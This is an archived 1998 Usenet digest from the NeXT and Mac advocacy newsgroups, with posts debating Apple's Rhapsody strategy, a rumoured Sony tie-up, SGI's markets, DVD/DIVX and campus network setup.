References: <6hoa4m$p96$1@xmission.xmission.com> <1998042402024500.WAA06812@ladder01.news.aol.com> <6hpiqj$57p$30@ironhorse.plsys.co.uk>
In article <6hpiqj$57p$30@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>Then I'll have to echo Kristofer's comments; there's no way *I* could have
>typeset a 400 page book in TeX, and actually I'd challenge most TeX-users to
>cope with all the diagrams etc I had to deal with.
I typeset a 600 page Electromagnetism textbook some many years back
starting with TeX. That lasted about 2 days before I found a better
solution. I can't recall the total diagram and formula count but it was in
the 1-2 thousand range. Quality dropped slightly, but my workpace
increased about twenty fold by moving to graphical tools.
-Bob Cassidy
From: wisdezetekstenpunt.dennis.scp@multiweb.nl (Dennis SCP)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: Fri, 24 Apr 1998 19:09:24 +0200
Organization: Dutch News Service (http://www.news-service.com)
Message-ID: <1d7zxuu.1h5l294tqprlgN@hoorn55.multiweb.net>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1> <6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> <6hk9r4$ga7$1@ns3.vrx.net> <rex-2204981646280001@192.168.0.3>
5iBX?hr:nQb&.MA|;6*WHFudDTiUxRJ'bCt|/F#Ct|'y_(I*Emh>1BP@cvz@pT]EiG%
Cache-Post-Path: nntpcache.support.nl!unknown@hoorn55.multiweb.net
Eric King <rex@smallandmighty.com> wrote (in a discussion on why Apple
should buy SGI):
> :b) a customer list perfectly suited to Apple's strengths
>
> To some extent. Most of SGIs income comes from CAD, data visualization,
> and server sales, not content creation. These are markets that Apple has
> never been able to enter, and its questionable as to whether they'd be
> able to *keep* these markets.
I must agree (I saw a TV program sponsort by IT branche corps on the
Duch Veronica channel, with SGI as sponsor. It was called Veronica
Internet Magazine (for some strange reason as only 2% was internet news)
but was a plug for 5 large IT corps.)
All subjects brought in by SGI were about CAD data visualization ('how
to design an oil platform using VR, what the heck was this program doing
on a nationwide tv channel) trying to get other large corps familiar
with the concepts of VR and and worldwide distributed CAD design
projects. Nothing about content creation (or you must count the plug for
their WEB server)
For the public SGI was hyped as the super cool computers for Jurassic
Park 3D animations but that obviosly was not the market to get great
profits from. I too once claimed a SGI desktop was the coolest computer
available but was unawere about the limited normal use tools (but what
it did it did realy cool). I think SGI is overhyped and their prime
markets are misunderstood by Apple users (think about the PhotoShop on
SGI articles in Mac magazines)
SGI has great name awareness among people but their growth did not match
up accordingly (as apossed to Netscape, who used it to create a fast
growing corporate intra/internet bussiness). The VR/3D uses in large
projects just didn't grow fast enough for SGI. Everybody knows Netscape
makes its money on server solutions and not on Navigator. But the same
people still think SGI is (was) just about 3D in Movies and such while
they were suppost to make money with industrial design (CAD/VR).
Dennis SCP
From: mr_boxster@nospam_yahoo.com (MR_boxster)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: Fri, 24 Apr 98 17:22:27 GMT
Message-ID: <6hqhsu$oss$1@nntp2.ba.best.com>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hpb9k$oh3$10@ha2.rdc1.sdca.home.com>
Something for Apple to consider..
I would only 'look' into Rhapsody if it comes with a complete of 'web
enabling' technologies. Have a "visual web object" development environment
tahta llows mere mortals like myself to develop kick-ass database driven
online transactional web sites.
Rhapsody needs a web server architecture that competes with IIS/SQL/Active
Server Pages that MS offers.
Rhapsody should even include "WebObject lite." Bundle it with template
applications in webobjects (Shopping cart store, employee database, inventory
tracking system).
I think this is the reason why Linux is so popular.. It comes with every tool
you need -- perl, C compiler, Apache, SQL database server all on a CD for $30.
Rhapsody, however will come from a commercial enterprise (Apple) and many
people like myself will want a supporting infrastructure like MS
BackOffice/Visual Studio.
The internet/web is the reason why NT/Linux is gaining so much popularity.
-
porschemeister
From: nasadowsk@uhavax.hartford.edu (Philip Nasadowski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Fri, 24 Apr 1998 15:49:05 -0400
Organization: Student//Metalhead FROM HELL!!!
Message-ID: <nasadowsk-2404981549050001@137.49.238.182>
References: <6hno82$spq$1@newsfep3.sprintmail.com> <353fa39d.26354803@news.newsguy.com> <6hocg6$86f$2@newsfep2.sprintmail.com> <3540019e.1062627@news.newsguy.com> <6hqi2q$8ig$1@xmission.xmission.com> <6hqn1d$jpk$2@newsfep3.sprintmail.com>
FWIW, I hooked up to my campus ethernet in 3 min on my Mac, Hell, the walk
to the computing center took longer than punching in the numbers...
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 24 Apr 1998 19:54:04 GMT
Organization: MiscKit Development
Message-ID: <6hqqks$i6t$2@news.xmission.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com> <6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM> <6hj32i$hr2$1@ha2.rdc1.sdca.home.com> <353D120B.3B3B@CONVEX.COM> <6hjkb5$cc$2@ha2.rdc1.sdca.home.com> <353D7473.5596B035@nstar.net> <6hjvg9$ru7$4@news.xmission.com> <353E4CBA.AA8A65F4@nstar.net> <6hn5it$57p$25@ironhorse.plsys.co.uk> <353F900A.86@CONVEX.COM>
I've given this some more thought, and came up with an interesting idea.
This is one more little tidbit of note on the war metaphor thingy. This is
probably more relevant than any of my other blather of late has been. Take a
look at the title of this press release:
http://www.apple.com/pr/library/1998/apr/23wwdc.html
In the final analysis, it doesn't matter if Apple is or isn't at war. It
doesn't matter if the metaphor is stupid. But it seems obvious to me that
Apple at least *thinks* it is at war.
This could explain much of Apple management's behavior. That doesn't mean
that Apple management is doing the right thing, or that they even have a
proper understand of their environment. It just provides a context to
explain what they are doing, and perhaps help understand their motivations.
It certainly answers MJP's original question, which was more or less "why are
they giving us so little information about future plans". In effect, they
*think* they are at war, and don't want to let the "enemy" know the warplan.
Now it's up to us and the market to decide if they are misguided or not. :-)
As a developer, I personally would prefer that they let us have at least a
little bit more info. But I'm not the one setting policy in Cupertino,
either...and "prefer" isn't exactly "need". I'm doing OK for now with what
I've got to work with.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <24049814.1803@interserv.com>
Control: cancel <24049814.1803@interserv.com>
Date: 24 Apr 1998 20:04:50 GMT
Organization: BOFH Space Command, Usenet Division
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From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: Fri, 24 Apr 1998 13:04:21 -0700
Organization: University of British Columbia
Message-ID: <1d7zpto.naxkiyb341xcN@p036.intchg2.net.ubc.ca>
References: <6hpebu$5f1$1@ha2.rdc1.sdca.home.com> <rmcassid-2404981032190001@dante.eng.uci.edu>
<rmcassid@uci.edu> wrote:
> Perhaps a new alliance would be better received. I agree that Sony would
> be a good match (except for the problems in Japan right now) as the two
> companies have the same _feel_. Hard to explain. Anyhow, if it were to
> happen, be prepared for the 'Is Sony Making the BetaMax Mistake Again with
> Apple?' headlines. It's just waaaay too tempting...
A natural, all right, including the pre-emptive 'response'.
Sepulchrally authoritative voice-over:
"There is no doubt that Microsoft Windows was and will
continue to be desktop computing's 'VHS standard'.
And now, helping to introduce DVD at a price for everyone..."
--
Bruce Bennett
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Cryptographic Architecture for Rhapsody and MacOS
Date: 24 Apr 1998 19:20:20 GMT
Organization: the unstoppable code machine
Message-ID: <6hqolk$93i$1@leonie.object-factory.com>
References: <893218379.739727@globe.uwaterloo.ca> <ErtGAq.G2K@AWT.NL>
<CBn%.1308$p5.6265523@news.itd.umich.edu>
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not@my.address.net wrote:
> On 04/22/98, Gerben Wierda wrote:
> >
> >And will the US government try to stop export?
> >
>
> This doesn't have to be an issue if Apple takes advantage of their dynamic
> object model -- Apple doesn't have to export an encryption bundle, they
> just have to export a consistent and well thought out interface. Make the
> API public and people can add their own bundles to bind with their
> precompiled apps.
Actually, AFAIR a *public* API is verboten as well.
That wouldn't stop anybody from implementing bundles, though. :-)
Holger
--
Holger Hoffstaette - holger"at"object-factory.com
Object Factory GmbH - http://www.object-factory.com/
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Fri, 24 Apr 1998 13:19:42 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2404981319420001@dante.eng.uci.edu>
References: <6hno82$spq$1@newsfep3.sprintmail.com> <353fa39d.26354803@news.newsguy.com> <6hocg6$86f$2@newsfep2.sprintmail.com> <3540019e.1062627@news.newsguy.com> <6hqi2q$8ig$1@xmission.xmission.com> <6hqn1d$jpk$2@newsfep3.sprintmail.com> <nasadowsk-2404981549050001@137.49.238.182>
In article <nasadowsk-2404981549050001@137.49.238.182>,
nasadowsk@uhavax.hartford.edu (Philip Nasadowski) wrote:
>FWIW, I hooked up to my campus ethernet in 3 min on my Mac, Hell, the walk
>to the computing center took longer than punching in the numbers...
I just did a Performa in about 15 seconds.
Chooser... connect to local server. (no configuration needed, thank you)
Control Panels... TCP/IP.
Configurations...
Import...
Change IP address.
Double-click remote server alias...
Done. And not a reboot in sight.
-Bob Cassidy
From: jsavard@teneerf.edmonton.ab.ca (John Savard)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Fri, 24 Apr 1998 19:51:37 GMT
Organization: Videotron Communications Ltd.
Message-ID: <3540ecbc.17801346@news.prosurfr.com>
References: <01bd6e3f$00eed8d0$04387880@test1>
"Todd Heberlein" <todd@NetSQ.com> wrote:
>o DVD, while providing better audio and video than VHS, is still
>designed around PAL and NTSC output and does not support HDTV
>formats.
DVD does support the higher aspect ratio of HDTV and the format also
allows higher speed disks with higher resolutions.
So Apple doesn't have available to it the opportunity of controlling
the standard for an HDTV playback-only medium; one _is_ already
defined.
John Savard
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: 24 Apr 1998 20:40:10 GMT
Organization: @Home Network
Message-ID: <6hqtba$eed$3@ha2.rdc1.sdca.home.com>
References: <6hpebu$5f1$1@ha2.rdc1.sdca.home.com> <rmcassid-2404981032190001@dante.eng.uci.edu>
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Cc: rmcassid@uci.edu
In <rmcassid-2404981032190001@dante.eng.uci.edu> rmcassid@uci.edu wrote:
> In article <6hpebu$5f1$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>
> >I've advocated (c.s.n.a.: What's macosrumors on about? Tue, 04 Nov 97)
Apple
> >can't make it back alone and Sony is the "best choice" for valuable
> >manufacturing, distribution and sales channels they bring to Apple
products.
> >Go Sony...
>
> Go everybody.
>
> Who *hasn't* been rumored to be making a play for Apple? Unfortunately, I
> think the price would be fairly high right now to take Apple. Given a 100%
> return to investors over the last 4 months and two profitable quarters, I
> don't think investors feel they need bailing out and there are few large
> shareholders to carry the rest. It'd be a tough sell for anything less
> than $60, methinks. Throw out some solid news on low-cost hardware, MacNC,
> or AMP and watch that price go to triple digits.
>
>
You make the best case for an early deal. I have AAPL forecasted on my
crystal ball at $70 in 1999. Long term, given an economy with leggs, AAPL
could reach a high of 117 - 130 with mass market products pipelined. Now
add-in Sony capacity, distribution, sales and branding and you have the
applicance for the rest of us.
As an investor, as long as I got the upside potential of Apple as currently
configured, I'd go with the new Sony-Apple. That price pre-WWDC for me is > $
55/share and hopefully they could seal the deal around $ 67/share. A steal by
any Sony measure... Post WWDC $70+. Post Xmas98 $77-85. ShareholdersMtg99
$120. Steve will be on a roll. He'll have rev2 of RhapsodyOS, MacNCs,
NCservers, and Jesus up there on "Think Different". :-)
> Perhaps a new alliance would be better received. I agree that Sony would
> be a good match (except for the problems in Japan right now) as the two
> companies have the same _feel_. Hard to explain.
>
>
I like alliances. But culture and politics fragment them. Apple needs a Sony
uncle. Sony could use Apple tech's smarts in their many, many products that
they own. How do I as an Apple shareholder enjoy the benefits from an
Alliance from such properties as Sony Entertainment? The potentials are
impressive just with the latest AMP thread.
Just today Data General announces a $500 SOHO server. This is commodicized
SONY expertise and economies of scale. Apple can't play that game. Therein
lies the deal...
> Anyhow, if it were to
> happen, be prepared for the 'Is Sony Making the BetaMax Mistake Again with
> Apple?' headlines. It's just waaaay too tempting...
>
>
Tempting...? Hah! (ala '84) Chiat-Day can put together a "Resurection" for
SuperBowl 33 with Jesus giving back the "Forbidden Fruit" YEEee aaAAH !
SONY RULES... Ooops, excuse me God :-)
-r
Rex Riley
Copyright 1998 all rights reserved...
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: Fri, 24 Apr 1998 11:28:02 -0700
Organization: University of British Columbia
Message-ID: <1d7zjxl.1pp0xuz1yb65d2N@p037.intchg1.net.ubc.ca>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <joe.ragosta-2304981334240001@wil133.dol.net> <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca> <joe.ragosta-2304982050200001@elk70.dol.net> <1d7zb9a.1tkjdz4jzgdysN@p018.intchg2.net.ubc.ca> <rmcassid-2404980956130001@dante.eng.uci.edu>
<rmcassid@uci.edu> wrote:
> Do you have any idea what MS's educational pricing is? Or anyone else's
> for that matter? For the most part, Apple's discount has been _less_ than
> most everyone elses. K-12 targetted products are generally more heavily
> discounted.
Don't see the relevance of this point to the standard retail price of
Rhapsody CR1. (Somehow it's hard to think of education as a core group,
much less a ghetto, of MS customers...)
In Apple's situation it's easy for the educational discount, coupled
with high prices elsewhere, to lead potential customers to conlude, "Oh,
so that's for the educational niche, then, not for the rest of us." If
Apple prices were sharply competitive or the Mac OS widely used in
business, the home, etc., they could virtually _give_ their stuff to
educational customers and it would scarcely affect attitudes elsewhere.
>WebObjects will be a very heavily discounted.
There's probably not much Apple could do wrong with WebObjects -- they
could make it a gift to some and still easily charge $1500 or more to
those who'll make and/or save bags of money with it. The situation is
rather different with Rhapsody, which could easily be priced into a very
small market when a considerably wider one is available. Concentrating
on core markets shouldn't mean focussing them down to the smallest
possible niches.
--
Bruce Bennett
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Fri, 24 Apr 1998 15:46:29 -0500
Organization: Texas Instruments
Message-ID: <MPG.faab616eeaf829198970d@news.itg.ti.com>
References: <6hno82$spq$1@newsfep3.sprintmail.com> <353fa39d.26354803@news.newsguy.com> <6hocg6$86f$2@newsfep2.sprintmail.com> <3540019e.1062627@news.newsguy.com> <6hqi2q$8ig$1@xmission.xmission.com> <6hqn1d$jpk$2@newsfep3.sprintmail.com> <nasadowsk-2404981549050001@137.49.238.182> <rmcassid-2404981319420001@dante.eng.uci.edu>
In article rmcassid@uci.edu, rmcassid@uci.edu says...
> I just did a Performa in about 15 seconds.
AHHHHHH!!!!
--
A world without the Mac is a step closer to utopia.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 24 Apr 1998 19:50:44 GMT
Organization: @Home Network
Message-ID: <6hqqek$eed$2@ha2.rdc1.sdca.home.com>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu>
<6hnou5$spq$3@newsfep3.sprintmail.com> <6hpb9k$oh3$10@ha2.rdc1.sdca.home.com>
<6hqila$n8p$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6hqila$n8p$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> In article <6hpb9k$oh3$10@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>
> > In <6hnou5$spq$3@newsfep3.sprintmail.com> macghod@concentric.net wrote:
>
> > > Of course hopefully Rhapsody will only cost about $200
>
> > Ah, then its done. Having witnessed your support issues around the OS
> > configuration rest assured that CR1 will be > $ 500 and < $1000 priced.
>
> And your experience with Rhapsody configuration issues is, exactly, what?
> Note that macghod was using an OPENSTEP for Mach system, not Rhapsody.
> You're pretty much assuming that Apple won't change anything between
> OSfM/4.2 and Rhapsody CR1. Doesn't seem like a very valid assumption
> to me.
>
Indeed, it isn't valid. My point exactly. Macghod was carping-on about Apple
should and shouldn't do this or that... It reminded me how hard he carped in
csna about getting up on OS. The post was only a fragment of my memory.
Scott Anguish, I think, made the valid point that beta releases are retricted
to prevent this sort of carping from damaging pre-release products. Macghod
would be an excellent poster child for the policy.
I have no configuration issues. I do not have Rhapsody. I haven't seen
Rhapsody. I don't want Rhapsody. I'll buy a Rhapsody flavor when it ships.
Just like everybody else.
-r
Rex
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: 24 Apr 1998 12:57:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6hqqqd$k1a@nntp02.primenet.com>
References: <01bd6e3f$00eed8d0$04387880@test1> <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote:
: Unfortunately, Fox and Paramount, Titanic's producers, have apparently
: decided to release the film as DIVx disk. This idiotic format, for those
: who haven't heard, is a cross between DVD and pay-per-view cable. It
: will (ostensibly) work like this: You buy a DIVx equipped player (no,
: currently available DVD players won't work), and hook it to your
: telephone line. When you buy a DIVx disk, you own only the disk itself.
: You do not own VIEWING rights to the movie on the disk! Each time you
: view it, the player authorizes a view, and stores the viewing information.
: In the middle of the night, the player dials an 800 number and uploads the
: viewing information. Then you get a bill for $3-5 a pop for watching the
: [...]
If they're charging for the view, they can mail out the CDs for free like
AOL starter kits ...
That could work.
John
Subject: Re: Apple Cryptographic Architecture for Rhapsody and MacOS
Newsgroups: comp.sys.next.advocacy
References: <893218379.739727@globe.uwaterloo.ca> <ErtGAq.G2K@AWT.NL> <CBn%.1308$p5.6265523@news.itd.umich.edu> <6hqolk$93i$1@leonie.object-factory.com>
In-Reply-To: <6hqolk$93i$1@leonie.object-factory.com>
From: not@my.address.net
Message-ID: <O7801.1812$p5.8593963@news.itd.umich.edu>
Date: Fri, 24 Apr 1998 22:13:02 GMT
NNTP-Posting-Date: Fri, 24 Apr 1998 18:13:02 EDT
On 04/24/98, Holger Hoffstaette wrote:
... quoting me on US export restrictions ...
>>
>> This doesn't have to be an issue if Apple takes advantage of their dynamic
>> object model -- Apple doesn't have to export an encryption bundle, they
>> just have to export a consistent and well thought out interface. Make the
>> API public and people can add their own bundles to bind with their
>> precompiled apps.
>
>Actually, AFAIR a *public* API is verboten as well.
>That wouldn't stop anybody from implementing bundles, though. :-)
>
That's very interesting. I'd like to learn more. Is there anything you can
point me to? Thanks.
--
invert: umich.edu jdevlin
insert: shift "2"
From: Wesley Horner <wesman@azrael.uoregon.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: 24 Apr 1998 22:12:54 GMT
Organization: University of Oregon, Eugene
Message-ID: <6hr2p6$37i$1@pith.uoregon.edu>
References: <6hpebu$5f1$1@ha2.rdc1.sdca.home.com> <rmcassid-2404981032190001@dante.eng.uci.edu> <6hqtba$eed$3@ha2.rdc1.sdca.home.com>
Rex Riley <rriley@yahoo.com> wrote:
> You make the best case for an early deal. I have AAPL forecasted on my
> crystal ball at $70 in 1999. Long term, given an economy with leggs, AAPL
> could reach a high of 117 - 130 with mass market products pipelined. Now
> add-in Sony capacity, distribution, sales and branding and you have the
> applicance for the rest of us.
> Tempting...? Hah! (ala '84) Chiat-Day can put together a "Resurection" for
> SuperBowl 33 with Jesus giving back the "Forbidden Fruit" YEEee aaAAH !
> SONY RULES... Ooops, excuse me God :-)
Can I get some of what ever you have got :)
It sounds great but I fear that the self fullfilling prophecy of nt crushing
everything for no good reason could hurt the stock price climb. Apple should
liscence it's name and logo to sony and let sony manufacture and brand products
with it and do the marketing and sales as well. Apple could make a tidy profit
for doing nothing other than supplying one of the best namplates in history and
sony could profit by selling more consumer electronics. It could work like the
way gm sells the same car under a number of different brands.
wes
--
~~~~wesman@gladstone.uoregon.edu~~~~~~~~~~NeXTMail OK!~~~~~~~~~~~~~~~~
Vax a vicious creature known to eat 110AC and quotes through its
*DCL*. Vax are usually found in groups of Vaxen called clusters where
they lay in wait to ravage thier prey known as users.
From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 24 Apr 1998 18:52:29 GMT
Message-ID: <6hqn1d$jpk$2@newsfep3.sprintmail.com>
References: <6hno82$spq$1@newsfep3.sprintmail.com> <353fa39d.26354803@news.newsguy.com>
<6hocg6$86f$2@newsfep2.sprintmail.com> <3540019e.1062627@news.newsguy.com>
<6hqi2q$8ig$1@xmission.xmission.com>
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Cc: kris@xmission.xmission.com
In <6hqi2q$8ig$1@xmission.xmission.com> Kristofer Jon Magnusson wrote:
> In comp.sys.next.advocacy Tom Elam <telam@iquest.net> wrote:
>
> : It worked for me simply because I followed the ISP's readme file that I
> : received with the service.
>
> I wrote my ISP's help file on how to set up PPP with NEXTSTEP/OPENSTEP,
> including instructions on setting up PAP and CHAP, and a simple redial
> script.
>
> It takes five minutes to set up PPP on NEXTSTEP with that help file.
Oh just wait till dumb mac users like myself try to set up
using your script :P
(btw, anyone hear the radio shack commercials for compaqs?? I absolutely
LOVE that
commercial!! )
--
running on a PC with OPENSTEP, the year 2000 bug-free operating system
Email address is invalid, please email macghod@concentric.net
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 24 Apr 1998 16:08:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B166692D-A3FEE@206.165.43.143>
References: <19980424004640961527@sdn-ts-004txhousp06.dialsprint.net>
nntp://news.primenet.com/comp.sys.next.advocacy
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John Bauer <drifterusa@sprintmail.com> said:
> > Aside from chiat/day, all the rest were started before Jobs.
>
> I was not aware that Amelio was planning the "store within a store."
> Doesn't mean he wasn't, of course, but is there evidence that he was?
That's a pretty obvious thing to do. Jobs may have intensified the effort
or he may have started it, but the problem is one that everyone knew about
for years. Of course, Amelio says that he doesn't know about how to sell
consumer electronics at Sears, so perhaps Jobs IS the one who started.
Just shows how bad a fit Amelio was, IMHO.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: Fri, 24 Apr 1998 16:05:11 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2404981605120001@dante.eng.uci.edu>
References: <6hpebu$5f1$1@ha2.rdc1.sdca.home.com> <rmcassid-2404981032190001@dante.eng.uci.edu> <6hqtba$eed$3@ha2.rdc1.sdca.home.com>
In article <6hqtba$eed$3@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>You make the best case for an early deal. I have AAPL forecasted on my
>crystal ball at $70 in 1999. Long term, given an economy with leggs, AAPL
>could reach a high of 117 - 130 with mass market products pipelined. Now
>add-in Sony capacity, distribution, sales and branding and you have the
>applicance for the rest of us.
Good point. $60 looks cheap in that light. But the clock is ticking -
loud! WWDC is soon upon us and I think some of that hidden value will be
revealed. Shareholders are getting happier with this company all the time.
>As an investor, as long as I got the upside potential of Apple as currently
>configured, I'd go with the new Sony-Apple. That price pre-WWDC for me is > $
>55/share and hopefully they could seal the deal around $ 67/share. A steal by
>any Sony measure... Post WWDC $70+. Post Xmas98 $77-85. ShareholdersMtg99
>$120. Steve will be on a roll. He'll have rev2 of RhapsodyOS, MacNCs,
>NCservers, and Jesus up there on "Think Different". :-)
I think the XMas 98 price would have to be higher. Apple should be showing
it's hand by then - maybe even by MacWorld. We'll have another quarter in
the bank by then. Where do you think he'll find a photo of Jesus? ;-)
>I like alliances. But culture and politics fragment them. Apple needs a Sony
>uncle. Sony could use Apple tech's smarts in their many, many products that
>they own. How do I as an Apple shareholder enjoy the benefits from an
>Alliance from such properties as Sony Entertainment? The potentials are
>impressive just with the latest AMP thread.
Sony would bring a strong media presence into it. It could be significant
in shaping future media formats. Hmm.
>> Anyhow, if it were to
>> happen, be prepared for the 'Is Sony Making the BetaMax Mistake Again with
>> Apple?' headlines. It's just waaaay too tempting...
>>
>Tempting...? Hah! (ala '84) Chiat-Day can put together a "Resurection" for
>SuperBowl 33 with Jesus giving back the "Forbidden Fruit" YEEee aaAAH !
>SONY RULES... Ooops, excuse me God :-)
Don't expect too many sales in Iowa with that marketing campaign... ;-)
-Bob Cassidy
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: 24 Apr 1998 15:31:41 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6hqb8t$9dh$1@ns3.vrx.net>
References: <6hpebu$5f1$1@ha2.rdc1.sdca.home.com> <01bd6f99$fc94c6d0$04387880@test1>
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Cc: todd@NetSQ.com
In <01bd6f99$fc94c6d0$04387880@test1> "Todd Heberlein" claimed:
> Rex Riley <rriley@yahoo.com> wrote
> > ref: http://www.mercurynews.com/columnists/nolan/docs/cn042398.hml
>
> URL was slightly wrong. Use "htm" instead of "hml"
>
> http://www.mercurynews.com/columnists/nolan/docs/cn042398.htm
>
> > Steve Job's Interim CEO title has more prescient meaning...
The article in question specifically goes out of it's way to mention on
several occasions that no such "real" rumor is current. They asked several
ex-Appleites about Sony and said "yes, Steve liked Sony".
Some rumor.
> Apple being prepped for sale would make since given that Apple has
> essentially stopped looking for a CEO. Why bring in a CEO, with lots
> of stock options, only to sale the company a few months later.
Apple has stopped looking for a CEO because they...
a) have one until he leaves
b) can't find a perm one until he leaves
> Also, pruning a company of all but its core assets as well as cutting
> back staff also often precedes a sale.
It also often doesn't preceed a sale. I'd say more often than it does.
Maury
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 24 Apr 1998 20:48:49 GMT
Organization: Digital Fix Development
Message-ID: <6hqtrh$347$1@news.digifix.com>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hpb9k$oh3$10@ha2.rdc1.sdca.home.com> <6hqhsu$oss$1@nntp2.ba.best.com>
In-Reply-To: <6hqhsu$oss$1@nntp2.ba.best.com>
On 04/24/98, MR_boxster wrote:
>Something for Apple to consider..
>
>I would only 'look' into Rhapsody if it comes with a complete of 'web
>enabling' technologies. Have a "visual web object" development
environment
>tahta llows mere mortals like myself to develop kick-ass database
driven
>online transactional web sites.
>
>Rhapsody needs a web server architecture that competes with
IIS/SQL/Active
>Server Pages that MS offers.
>
You are talking about WebObjects.
>Rhapsody should even include "WebObject lite." Bundle it with
template
>applications in webobjects (Shopping cart store, employee database,
inventory
>tracking system).
>
Last year at WWDC we were told that Rhapsody would include
WebObjects functionality.. Not much has been said since though..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 24 Apr 1998 15:28:24 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6hr05o$7dn$1@xmission.xmission.com>
References: <6hno82$spq$1@newsfep3.sprintmail.com> <353fa39d.26354803@news.newsguy.com> <6hocg6$86f$2@newsfep2.sprintmail.com> <3540019e.1062627@news.newsguy.com> <6hqi2q$8ig$1@xmission.xmission.com> <6hqn1d$jpk$2@newsfep3.sprintmail.com>
In comp.sys.next.advocacy macghod@concentric.net wrote:
: In <6hqi2q$8ig$1@xmission.xmission.com> Kristofer Jon Magnusson wrote:
: > In comp.sys.next.advocacy Tom Elam <telam@iquest.net> wrote:
: >
: > : It worked for me simply because I followed the ISP's readme file that I
: > : received with the service.
: >
: > I wrote my ISP's help file on how to set up PPP with NEXTSTEP/OPENSTEP,
: > including instructions on setting up PAP and CHAP, and a simple redial
: > script.
: >
: > It takes five minutes to set up PPP on NEXTSTEP with that help file.
: Oh just wait till dumb mac users like myself try to set up
: using your script :P
Yeah, there always you to consider--after all, help files aren't
droolproof.
..............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: andrew_abernathy@omnigroup.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Aladdin?
Date: 25 Apr 1998 00:37:30 GMT
Organization: Omni Development, Inc.
Message-ID: <6hrb8a$rkn$1@gaea.omnigroup.com>
